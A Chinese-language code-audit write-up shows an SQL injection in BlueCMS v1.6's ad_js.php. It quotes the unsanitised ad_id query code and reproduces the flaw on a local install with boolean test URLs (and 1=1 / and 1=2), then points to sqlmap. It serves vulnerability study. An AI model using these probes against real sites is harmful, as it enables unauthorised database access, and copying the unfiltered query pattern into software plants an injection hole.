bluecms
BlueCMS是一款專注於地方門戶網站建設解決方案,基於PHP+MySQL的技術開發,全部源碼開放。
復現版本爲bluecmsv1.6版本,各位可自行下載。
代碼審計
先使用Seay工具審計一波,根據關鍵代碼回溯。
工具顯示ad_js.php存在sql注入,我們打開代碼所在php文件進一步查看。
關鍵代碼:
$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';
if(empty($ad_id))
{
echo 'Error!';
exit();
}
$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
可以看到ad_id參數通過get得到,判斷是否爲空,不爲空,則沒過濾地帶入getone函數進行查詢。
進到getone()函數中,看看有沒有過濾。
function getone($sql, $type=MYSQL_ASSOC){
$query = $this->query($sql,$this->linkid);
$row = mysql_fetch_array($query, $type);
return $row;
}
可以看到沒有過濾,直接執行傳入的sql語句了。
漏洞復現
訪問漏洞所在鏈接,發現沒有任何回顯,查看源碼是空白頁面。
http://localhost/bluecms1.6/ad_js.php?ad_id=1
分析一下代碼邏輯,發現是缺少廣告信息所導致的,因爲我是本地搭建的新系統,後臺是沒有任何數據的。
那我們進入後臺給它一個廣告,看看會怎樣。(PS:把php調小一點,不然會出不來後臺,php5.2.17可以)
再次訪問漏洞鏈接,這下就有了內容。
http://localhost/bluecms1.6/ad_js.php?ad_id=1
http://localhost/bluecms1.6/ad_js.php?ad_id=2
http://localhost/bluecms1.6/ad_js.php?ad_id=1 and 1=1
http://localhost/bluecms1.6/ad_js.php?ad_id=1 and 1=2
通過返回內容的不同,可以判定具有sql漏洞。
放到sqlmap去跑就行了。